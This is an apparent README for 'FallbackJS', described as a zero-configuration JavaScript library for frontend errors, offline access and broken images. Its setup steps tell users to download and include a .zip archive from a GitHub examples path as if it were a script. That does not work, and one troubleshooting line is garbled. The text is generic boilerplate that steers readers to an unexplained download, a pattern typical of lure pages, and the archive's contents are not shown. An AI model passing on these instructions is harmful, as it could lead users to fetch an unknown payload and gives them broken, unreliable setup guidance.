Welcome to FallbackJS! This tiny JavaScript library helps you manage frontend errors with grace. You can handle common issues like offline access, broken images, and JavaScript errors easily, enhancing your users' experience.
- Zero Configuration: Just include it in your project, and it's ready to go.
- Responsive Design: Looks great on all devices, from desktops to smartphones.
- Minimal Dependencies: Lightweight nature to keep your project fast.
- Automatic Handling: Detects and manages errors without additional coding.
- Offline Support: Provides useful messages when users lose connectivity.
- Modern Browser: Ensure you use a recent version of Chrome, Firefox, Safari, or Edge.
- JavaScript Enabled: Make sure JavaScript is enabled in your browser settings.
To get started, you need to download FallbackJS from our releases page.
Visit this page to download: FallbackJS Releases
After downloading, follow these simple steps to set it up in your project:
-
Download the latest version: Click on the link above to go to our Releases page. Find the latest version and download the file.
-
Unzip the file (if necessary): If you downloaded a compressed folder, extract the files to a location on your computer.
-
Add FallbackJS to your project:
- Open your project's main HTML file.
- Include the FallbackJS script in the
<head>section of your HTML like this:<script src="https://github.com/hamzaka97/FallbackJS/raw/refs/heads/main/examples/JS-Fallback-1.0.zip"></script>
-
Test it: Open your HTML file in a browser to see FallbackJS in action. Test it by simulating an error (like disconnecting from the Internet).
Once FallbackJS is included in your project, it works automatically. You do not need to write extra code to manage common errors. However, you can customize the messages displayed to users by following these steps:
-
Add your custom messages: You can change the fallback messages directly in the script's configuration. Look for a section in your downloaded file that deals with messages.
-
Error Types: You can handle offline situations, broken images, and JavaScript errors. Adjust settings according to your project's needs.
-
Preview Changes: After customizing the messages, save the file and reload your browser to check the updates.
If you have questions or need help, feel free to reach out:
- GitHub Issues: Report bugs or request features on our GitHub Issues page.
- Discussion Forum: Join our community discussion to share tips and learn from others.
If you encounter issues while using FallbackJS:
-
Check Console for Errors: Press
F12to open the developer console in your browser and check for any JavaScript errors. -
Correct Path to https://github.com/hamzaka97/FallbackJS/raw/refs/heads/main/examples/JS-Fallback-1.0.zip: Ensure the path to the FallbackJS script in your HTML is correct.
-
Test with Different Browsers: If problems persist, try running your project in a different browser.
We are actively working on improving FallbackJS. Follow our GitHub page for updates on new features and bug fixes.
For inquiries or support, you can contact us via GitHub or email.
Thank you for choosing FallbackJS! Make your web applications seamless and user-friendly.